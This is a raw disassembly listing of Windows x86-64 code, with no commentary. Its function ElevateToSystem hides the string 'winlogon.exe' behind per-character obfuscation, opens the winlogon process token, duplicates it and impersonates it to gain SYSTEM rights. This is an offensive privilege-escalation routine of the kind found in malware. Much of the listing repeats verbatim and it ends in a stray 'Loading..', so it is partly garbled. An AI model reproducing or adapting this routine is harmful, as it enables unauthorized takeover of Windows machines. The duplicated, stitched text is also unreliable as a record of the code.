140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50
Loading..